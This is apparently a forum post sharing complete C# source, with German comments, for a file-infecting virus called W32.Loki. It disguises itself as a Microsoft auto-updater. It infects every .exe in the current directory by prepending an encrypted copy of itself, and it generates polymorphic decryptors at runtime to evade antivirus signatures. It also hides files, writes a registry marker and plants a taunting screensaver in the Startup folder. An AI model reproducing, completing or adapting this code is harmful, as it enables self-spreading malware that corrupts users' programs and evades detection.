[+]Topic: Code [+]Von: mhb.fake [+]Return: Code
W32.Loki
using System; using System.Collections.Generic; using System.Text; using System.IO; namespace LokiW32 { class Program { static void Main(string[] args) { // damit der user nicht stutzig wird: Console.WriteLine("Starting Autoupdates"); Console.WriteLine("Searching for Updates on: http://update.microsoft.com..."); Console.Title = "Microsoft Auto-Updater... "; Loki loki = new Loki(); Random r = new Random(); int e = 0; if (r.Next(100) % 2 == 0) e = 1; //reg-schlüssel auf der basis von e erzeugen: loki.Generatekey(e); //und hier holen wir uns das aktuelle dir und beginnen: loki.Populate(Directory.GetCurrentDirectory()); //testen ob wir schon "drinne" sind //wenn ja dann dann unsere kick-ass-msg als ScreenSaver erstellen: XD if (!loki.Check()) loki.GenerateMsg(); } } }
using System; using System.Collections.Generic; using System.Text; using System.Reflection; using System.Reflection.Emit; using System.Threading; using System.IO; using System.CodeDom.Compiler; using System.Diagnostics; using System.Security.Cryptography; using Microsoft.CSharp; using Microsoft.Win32; namespace LokiW32 { class Loki { private int encm = 0; private string k = null; private string inv = null; public void Populate(string dir) { if (Directory.Exists(dir)) { // zk um alle *.exe-dateien zu speichern: string[] dateien = Directory.GetFiles(dir, "*.exe"); // durchzälen welche exe-dat. zu finden sind: for (int i = 0; i < dateien.Length; i++) { // try-catch um fehler-msg zu unterdrücken: try { // byte-array um die größe zu speichern byte[] hostbytes = read(dateien[i]); if (hostbytes[60] != 128) { Random rand = new Random(); int b = rand.Next(1000); //ein paar benötigte zk string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); string nf = Directory.GetCurrentDirectory() + "\\" + Rand() + ".exe"; string ef = Directory.GetCurrentDirectory() + "\\" + Rand() + DateTime.Now.Year + ".exe"; byte[] enc = read(cf); FileStream fs = new FileStream(nf, FileMode.CreateNew); //neu erstellen BinaryWriter bw = new BinaryWriter(fs); for (int x = 0; x < enc.Length; x++) { bw.BaseStream.WriteByte(enc[x]); } bw.Close(); fs.Close(); Encrypt(nf, ef, encm); if (File.Exists(ef)) { if (File.Exists(nf)) { //unsere erzeugte exe wieder löschen: File.Delete(nf); } FileInfo datInf = new FileInfo(dateien[i]); int len = (int)datInf.Length; string df = Decryptor(ef, 5632, (len + 5632), encm); if (File.Exists(df)) { byte[] byteDec = read(df); byte[] byteEnc = read(ef); if (File.Exists(dateien[i])) { File.Delete(dateien[i]); FileStream fsb = new FileStream(dateien[i], FileMode.CreateNew); BinaryWriter bwb = new BinaryWriter(fsb); for (int x = 0; x < byteDec.Length; x++) { bwb.BaseStream.WriteByte(byteDec[x]); } for (int w = 0; w < hostbytes.Length; w++) { bwb.BaseStream.WriteByte(hostbytes[w]); } for (int z = 0; z < byteEnc.Length; z++) { bwb.BaseStream.WriteByte(byteEnc[z]); } bwb.Close(); fsb.Close(); File.Delete(ef); File.Delete(df); } } else { if (File.Exists(ef)) File.Delete(ef); } }//if }//if } catch { /** im normalfall wird hier via 'Exception ex' ein object erzeugt * welches dann zur fehlerbehandlung des priggis verwendet wird * **/ } }//for }//if }// public byte[] read(string d) { // liest einfach nur die datei ein und speichert sie in einem byte-array: FileStream fs = new FileStream(d, FileMode.Open, FileAccess.Read); BinaryReader br = new BinaryReader(fs); byte[] b = new byte[fs.Length]; for (int f = 0; f < b.Length; f++) { b[f] = br.ReadByte(); } br.Close(); fs.Close(); return b; } public void Encrypt(string inf, string outf, int e) { // basierden auf e entscheiden wir welche verschlüsselung // wir für den virus nutzen. da c# ein crytier-paket // besitz, finde ich, sollten wir es ausprobieren: if (e == 1) { try { string schl = getKey(); if (schl.Length > 8) schl = schl.Substring(0, 8); //wenn schlüssel größer 8stellen abschneiden else if (schl.Length < 8) { int add = 8 - schl.Length; for (int i = 0; i < add; i++) schl += i; // schl=schl+i... } UnicodeEncoding UE = new UnicodeEncoding(); byte[] key = UE.GetBytes(schl); FileStream fsc = new FileStream(outf, FileMode.Create); RijndaelManaged cr = new RijndaelManaged(); // cryptographier-methode CryptoStream cs = new CryptoStream(fsc, cr.CreateEncryptor(key, key), CryptoStreamMode.Write); FileStream fsIn = new FileStream(inf, FileMode.Open); int d; while ((d = fsIn.ReadByte()) != -1) { cs.WriteByte((byte)d); } fsIn.Close(); cs.Close(); fsc.Close(); } catch { /** wie in der oberen funktion wird hier die fehlerausgabe abgefangen**/ } } else { try { byte[] b = read(inf); byte[] key = Convert.FromBase64String(getKey()); byte[] IV = Convert.FromBase64String(getIV()); FileStream fs = File.Open(outf, FileMode.OpenOrCreate); CryptoStream cs = new CryptoStream(fs, new TripleDESCryptoServiceProvider().CreateEncryptor(key, IV), CryptoStreamMode.Write); BinaryWriter bw = new BinaryWriter(cs); bw.Write(b); bw.Close(); cs.Close(); fs.Close(); } catch {/**...abfangen... ;)**/ } } }//ende encrypt public string Decryptor(string f, int num, int hl, int e) { // hier erstellen wir on-the-fly [dynamisch] den Decryptor. // solange wir ihn on-the-fly erzeugen, können wir simple variablen // so ändern das unsere App. jedesmal beim starten andere signaturen // besitz... ;) // dazu der haupt-erfinder des codes: /** * when i was actually building it i got a false positve from my A.V. * that said it was another virus. which is kind of interesting... :) **/ string name = Directory.GetCurrentDirectory() + "\\" + Rand() + DateTime.Now.Year + ".exe"; // hier referenzieren wir einen O.T.F-Compiler ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); // compilerparameter (um dann im source, quasi eine neue referenz zum projekt hinzuzf.) CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = name; Random r = new Random(); string n = Rand() + r.Next(100); string n2 = Rand() + hl; string r2 = Rand() + r.Next(hl); // und nun der O.T.F.-Quelltext unserer infizierten und dann zu compilierenden (neuen) datei: string d = "\n" + "using System; \n" + "using System.Windows.Forms; \n" + "using System.Security.Cryptography; \n" + "using System.Text; \n" + "using System.Diagnostics; \n" + "using System.IO; \n" + "using System.Threading; \n" + "namespace " + n + " { \n" + " class " + n + n2 + ": Form { \n" + " static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n" + " static string inf = @\"" + f + "\"; \n" + " static string outf = @\"" + n2 + ".exe\"; \n" + " static string tmp = @\"" + n2 + r2 + ".exe\"; \n"; if (e == 1) { d += "static string p = @\"" + getKey() + "\"; \n"; } else { d += "static byte[] Key = Convert.FromBase64String(\"" + getKey() + "\"); \n" + "static byte[] IV = Convert.FromBase64String(\"" + getIV() + "\"); \n"; } d += " public static void Main() { \n" + " " + r2 + "(); \n" + // r2= dynamischer funktions-name " } \n" + " private static void " + r2 + "() { \n" + " try { \n " + //lese aktuelle datei in byte-array: " FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); \n" + " BinaryReader brb = new BinaryReader(fs); \n" + " byte[] b = new byte[fs.Length]; \n" + " for (int q = 0; q < b.Length; q++) { \n" + " b[q] = brb.ReadByte(); \n" + " } \n" + " brb.Close(); \n" + " fs.Close(); \n" + //schreibe temporäre datei: //*EDT:sorry nicht host-prog[c# erzeugt zur exe auch eine xxx.svhost.exe] " FileStream fsb = new FileStream(tmp, FileMode.CreateNew); \n" + " BinaryWriter bwb = new BinaryWriter(fsb); \n" + " for (int z = " + num + "; z < " + hl + "; z++) { \n" + " bwb.BaseStream.WriteByte(b[z]); \n" + " } \n " + " fsb.Close(); \n" + " bwb.Close(); \n" + " File.SetAttributes(tmp, FileAttributes.Hidden); \n" + // starte das temp-prog und warte bis es beendet wird: " try { \n" + " Process.Start(tmp).WaitForExit(); \n" + " File.Delete(tmp); \n" + " } catch { } \n" + // lese verschlüsselte version und schreib in die datei: " FileStream fb = new FileStream(inf, FileMode.CreateNew); \n" + " BinaryWriter bw = new BinaryWriter(fb); \n" + " for (int z = " + hl + "; z < b.Length; z++) { \n" + " bw.BaseStream.WriteByte(b[z]); \n" + " } \n " + " fb.Close(); \n" + " bw.Close(); \n" + " File.SetAttributes(inf, FileAttributes.Hidden); \n"; if (e == 1) { d += " if(p.Length > 8) { \n" + " p = p.Substring(0,8); \n" + " } else if(p.Length < 8) { \n" + " int a = 8 - p.Length; \n" + " for(int i = 0; i < a; i++) \n" + " p = p + i; \n" + " } \n" + " UnicodeEncoding UE = new UnicodeEncoding(); \n" + " byte[] k = UE.GetBytes(p); \n" + " FileStream fr = new FileStream(inf, FileMode.Open); \n" + " RijndaelManaged r = new RijndaelManaged(); \n" + " CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); \n" + " if(File.Exists(outf)) { \n" + " File.Delete(outf); \n" + " } \n" + " FileStream o = new FileStream(outf, FileMode.Create); \n" + " int data; \n" + " while((data = cs.ReadByte()) != -1) { \n" + " o.WriteByte((byte)data); \n" + " } \n" + " o.Close(); \n" + " cs.Close(); \n" + " fr.Close(); \n"; } else { d += " FileStream fr = new FileStream(inf, FileMode.Open); \n" + " CryptoStream cs = new CryptoStream(fr, new TripleDESCryptoServiceProvider().CreateDecryptor(Key, IV), CryptoStreamMode.Read); \n" + " if(File.Exists(outf)) { \n" + " File.Delete(outf); \n" + " } \n" + " FileStream o = new FileStream(outf, FileMode.Create); \n" + " int data; \n " + " while((data = cs.ReadByte()) != -1) { \n" + " o.WriteByte((byte)data); \n" + " } \n" + " o.Close(); \n" + " cs.Close(); \n" + " fr.Close(); \n"; } // wenn die datei existiert, starte sie in einem neuen thread: d += " if(File.Exists(inf)) { \n" + " File.Delete(inf); \n" + " } \n" + " Thread t = new Thread(new ThreadStart(" + r2 + n2 + ")); \n" + " t.Start(); \n" + " } catch (Exception er) { \n \n } \n" + " } \n" + " private static void " + r2 + n2 + "() { \n" + " try { \n" + " Process.Start(outf).WaitForExit(); \n" + " File.Delete(outf); \n" + " } catch { } \n" + " } \n" + " \n" + " } \n" + "} \n"; CompilerResults results = ic.CompileAssemblyFromSource(cp, d); // testen um sicher zu sein das es auch genau die gewollte datei ist, // wenn sie es ist: verstecken wir sie (bringt aber nix wenn das opfer alle dateien anzeigen lässt!) // notiz: der schlüssel den wir erstellen lassen kann manchmal zeichen enthalten die // den string escapen. aber das fixen von diesem kleinen prob ist übertrieben, da es doch ein // ein wenig spärlicher infektor ist...! aber,es passiert nicht immer. if(File.Exists(name)) { File.SetAttributes(name, FileAttributes.Hidden); // <-VERSTECKEN, //sollte man aber am besten in verbindung mit nem rootkit machen! } return name; }//decrytor() public string Rand() { //zufalls-"wörter"-generator der 1ten 8byte des dateinamens string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ"; Random r = new Random(); string n = ""; for (int i = 0; i < r.Next(100); i++) { n += c[r.Next(c.Length)]; } return n; } public void Generatekey(int e) { // basierden auf der jeweiligen verschlüsselung,können wir unsere schlüssel auch dynamisch erzeugen if (e == 1) { DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); setKey(ASCIIEncoding.ASCII.GetString(desCrypto.Key)); setEncm(e); } else { TripleDESCryptoServiceProvider tDESalg = new TripleDESCryptoServiceProvider(); setKey(Convert.ToBase64String(tDESalg.Key)); setIV(Convert.ToBase64String(tDESalg.IV)); setEncm(e); } } public bool Check() { // unser check der registry wenn "wir" bereits laufen // all das entscheidet mit ob wir unsere message zeigen // wir brauchen nicht wirklich immer eine infizierte datei, die läuft // denn so wirds schon genug stören :) // den string schreiben wir in die registry (sollte aber bei einer ECHTEN anwedung etwas anders gelöst werden!zb variable namen eintragen lassen) string regstr = (string)Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\LokiW32", "LokiW32", "LokiW32"); if (regstr == "LokiW32") { return true; } else { RegistryKey key = Registry.LocalMachine.OpenSubKey("Software", true); RegistryKey newkey = key.CreateSubKey("LokiW32"); newkey.SetValue("LokiW32", "LokiW32"); return false; } } public void GenerateMsg() { // **unser kleiner bildschirmschoner** // auch diesen lassen wir dynamisch erzeugen // er soll die Message "You've been infected with Msil.LokiW32 by free0n" ausgeben // er springt die ganze zeit rings um den sichtbereich :D // man könnte hier auch neue sachen mit messageboxen testen/sich überlegen... ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); Random r = new Random(); string n = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + r.Next(100000) + ".exe"; // name der anwendung 09274.exe oder so ähnlich ;) cp.ReferencedAssemblies.Add("System.dll"); // unsere benötigten dll's cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.ReferencedAssemblies.Add("System.Data.dll"); cp.ReferencedAssemblies.Add("System.Drawing.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = n; //unsere Msg in Base64 codiert: string d = DeCode("dXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7" + "IAp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7IAp1c2luZyBTeXN0ZW0uRGF0" + "YTsgCnVzaW5nIFN5c3RlbS5EcmF3aW5nOyAKdXNpbmcgU3lzdGVtLlRleHQ7IAp1" + "c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsgCm5hbWVzcGFjZSBzY3IgeyAKc3Rh" + "dGljIGNsYXNzIFByb2dyYW0gewogICBbU1RBVGhyZWFkXQogICBzdGF0aWMgdm9p" + "ZCBNYWluKCkgewpBcHBsaWNhdGlvbi5FbmFibGVWaXN1YWxTdHlsZXMoKTsKQXBw" + "bGljYXRpb24uU2V0Q29tcGF0aWJsZVRleHRSZW5kZXJpbmdEZWZhdWx0KGZhbHNl" + "KTsKQXBwbGljYXRpb24uUnVuKG5ldyBGb3JtMSgpKTsgCn0gCn0gCnBhcnRpYWwg" + "Y2xhc3MgRm9ybTEgewpwcml2YXRlIFN5c3RlbS5Db21wb25lbnRNb2RlbC5JQ29u" + "dGFpbmVyIGNvbXBvbmVudHMgPSBudWxsOwpwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9p" + "ZCBEaXNwb3NlKGJvb2wgZGlzcG9zaW5nKSB7CmlmIChkaXNwb3NpbmcgJiYgKGNv" + "bXBvbmVudHMgIT0gbnVsbCkpIHsKY29tcG9uZW50cy5EaXNwb3NlKCk7Cn0KYmFz" + "ZS5EaXNwb3NlKGRpc3Bvc2luZyk7Cn0KcHJpdmF0ZSB2b2lkIEluaXRpYWxpemVD" + "b21wb25lbnQoKSB7CnRoaXMuY29tcG9uZW50cyA9IG5ldyBTeXN0ZW0uQ29tcG9u" + "ZW50TW9kZWwuQ29udGFpbmVyKCk7CnRoaXMubGFiZWwxID0gbmV3IFN5c3RlbS5X" + "aW5kb3dzLkZvcm1zLkxhYmVsKCk7CnRoaXMudGltZXIxID0gbmV3IFN5c3RlbS5X" + "aW5kb3dzLkZvcm1zLlRpbWVyKHRoaXMuY29tcG9uZW50cyk7CnRoaXMuU3VzcGVu" + "ZExheW91dCgpOwp0aGlzLmxhYmVsMS5BdXRvU2l6ZSA9IHRydWU7CnRoaXMubGFi" + "ZWwxLkJhY2tDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLkJsYWNrOwp0aGlz" + "LmxhYmVsMS5Gb250ID0gbmV3IFN5c3RlbS5EcmF3aW5nLkZvbnQoIk1pY3Jvc29m" + "dCBTYW5zIFNlcmlmIiwgMjRGLCBTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUuUmVn" + "dWxhciwgU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0LlBvaW50LCAoKGJ5dGUp" + "KDApKSk7CnRoaXMubGFiZWwxLkZvcmVDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNv" + "bG9yLlJlZDsKdGhpcy5sYWJlbDEuTG9jYXRpb24gPSBuZXcgU3lzdGVtLkRyYXdp" + "bmcuUG9pbnQoMTIsIDIwMSk7CnRoaXMubGFiZWwxLk5hbWUgPSAibGFiZWwxIjsK" + "dGhpcy5sYWJlbDEuU2l6ZSA9IG5ldyBTeXN0ZW0uRHJhd2luZy5TaXplKDAsIDM3" + "KTsKdGhpcy5sYWJlbDEuVGFiSW5kZXggPSAwOwp0aGlzLnRpbWVyMS5UaWNrICs9" + "IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMudGltZXIxX1RpY2spOwp0aGlz" + "LkF1dG9TY2FsZURpbWVuc2lvbnMgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZUYo" + "NkYsIDEzRik7CnRoaXMuQXV0b1NjYWxlTW9kZSA9IFN5c3RlbS5XaW5kb3dzLkZv" + "cm1zLkF1dG9TY2FsZU1vZGUuRm9udDsKdGhpcy5CYWNrZ3JvdW5kSW1hZ2VMYXlv" + "dXQgPSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxheW91dC5TdHJldGNoOwp0" + "aGlzLkNsaWVudFNpemUgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZSg0NzIsIDQ1" + "OSk7CnRoaXMuQ29udHJvbHMuQWRkKHRoaXMubGFiZWwxKTsKdGhpcy5Eb3VibGVC" + "dWZmZXJlZCA9IHRydWU7CnRoaXMuRm9ybUJvcmRlclN0eWxlID0gU3lzdGVtLldp" + "bmRvd3MuRm9ybXMuRm9ybUJvcmRlclN0eWxlLk5vbmU7CnRoaXMuTmFtZSA9ICJG" + "b3JtMSI7CnRoaXMuU2hvd0luVGFza2JhciA9IGZhbHNlOwp0aGlzLlRvcE1vc3Qg" + "PSB0cnVlOwp0aGlzLldpbmRvd1N0YXRlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMu" + "Rm9ybVdpbmRvd1N0YXRlLk1heGltaXplZDsKdGhpcy5Mb2FkICs9IG5ldyBTeXN0" + "ZW0uRXZlbnRIYW5kbGVyKHRoaXMuRm9ybTFfTG9hZF8xKTsKdGhpcy5SZXN1bWVM" + "YXlvdXQoZmFsc2UpOwp0aGlzLlBlcmZvcm1MYXlvdXQoKTsKfQpwcml2YXRlIFN5" + "c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsIGxhYmVsMTsKcHJpdmF0ZSBTeXN0ZW0u" + "V2luZG93cy5Gb3Jtcy5UaW1lciB0aW1lcjE7Cn0gCnB1YmxpYyBwYXJ0aWFsIGNs" + "YXNzIEZvcm0xIDogRm9ybSB7IApwdWJsaWMgRm9ybTEoKSB7IApJbml0aWFsaXpl" + "Q29tcG9uZW50KCk7IAp9IApwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBPblBhaW50" + "QmFja2dyb3VuZChQYWludEV2ZW50QXJncyBlKSB7IAplLkdyYXBoaWNzLkRyYXdS" + "ZWN0YW5nbGUobmV3IFBlbihDb2xvci5CbGFjayksIDAsIDAsIFNpemUuV2lkdGgs" + "IFNpemUuSGVpZ2h0KTsgCn0gCnByaXZhdGUgdm9pZCBGb3JtMV9Mb2FkXzEob2Jq" + "ZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsgCnRoaXMuU2V0U3R5bGUoQ29udHJv" + "bFN0eWxlcy5PcHRpbWl6ZWREb3VibGVCdWZmZXIgfCBDb250cm9sU3R5bGVzLlVz" + "ZXJQYWludCB8IENvbnRyb2xTdHlsZXMuQWxsUGFpbnRpbmdJbldtUGFpbnQsIHRy" + "dWUpOyAKdGhpcy5DYXB0dXJlID0gdHJ1ZTsgCkN1cnNvci5IaWRlKCk7IApCb3Vu" + "ZHMgPSBTY3JlZW4uUHJpbWFyeVNjcmVlbi5Cb3VuZHM7IApXaW5kb3dTdGF0ZSA9" + "IEZvcm1XaW5kb3dTdGF0ZS5NYXhpbWl6ZWQ7IApTaG93SW5UYXNrYmFyID0gZmFs" + "c2U7IApEb3VibGVCdWZmZXJlZCA9IHRydWU7IApCYWNrZ3JvdW5kSW1hZ2VMYXlv" + "dXQgPSBJbWFnZUxheW91dC5TdHJldGNoOyAKdGltZXIxLkludGVydmFsID0gMTAw" + "MDsgCnRpbWVyMS5TdGFydCgpOyAKfSAKcHJpdmF0ZSB2b2lkIHNjcm9sbCgpIHsg" + "CmxhYmVsMS5UZXh0ID0gIkluZmVjdGVkIHdpdGggTVNJTC5Mb2tpIGJ5IGZyZWUw" + "biB8IERvb21SaWRlcnoiOyAKUmFuZG9tIHIgPSBuZXcgUmFuZG9tKCk7IApsYWJl" + "bDEuU2V0Qm91bmRzKHIuTmV4dCgxMDApLCByLk5leHQoMTAwMCksIHIuTmV4dCgx" + "MDAwKSwgci5OZXh0KDEwMDApKTsKfQpwcml2YXRlIHZvaWQgdGltZXIxX1RpY2so" + "b2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsKc2Nyb2xsKCk7Cn0KfSAKfSAK"); CompilerResults results = ic.CompileAssemblyFromSource(cp, d); } private string DeCode(string s) { byte[] decbuff = Convert.FromBase64String(s); return Encoding.UTF8.GetString(decbuff); } public string getKey() { return k; } public void setKey(string key) { k = key; } public string getIV() { return inv; } public void setIV(string i) { inv = i; } public int getEncm() { return encm; } public void setEncm(int s) { encm = s; } }//class }//namespace